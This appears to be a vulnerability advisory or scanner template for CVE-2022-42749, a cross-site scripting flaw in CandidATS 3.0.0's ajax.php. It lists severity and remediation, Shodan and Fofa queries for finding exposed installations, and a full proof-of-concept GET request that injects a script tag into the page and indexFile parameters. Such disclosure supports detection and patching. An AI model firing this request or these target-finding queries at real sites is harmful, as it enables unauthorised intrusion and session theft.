| Title | CandidATS 3.0.0 - Cross-Site Scripting |
|---|---|
| Author | arafatansari |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement. |
| Remediation | To mitigate this vulnerability, it is recommended to apply the latest security patch or upgrade to a non-vulnerable version of CandidATS. |
| CVSS Score | 6.1 |
| EPSS Score | 0.02714 |
| CVE ID | CVE-2022-42749 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:"CandidATS"http.html:"candidats" |
| Fofa Query | body="candidats" |
| Tags | cve cve2022 candidats xss auieo vuln |
CandidATS 3.0.0 contains a cross-site scripting vulnerability via the page parameter of the ajax.php resource. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
GET /ajax.php?f=getPipelineJobOrder&joborderID=50&page=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=desc&indexFile=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&isPopup=0 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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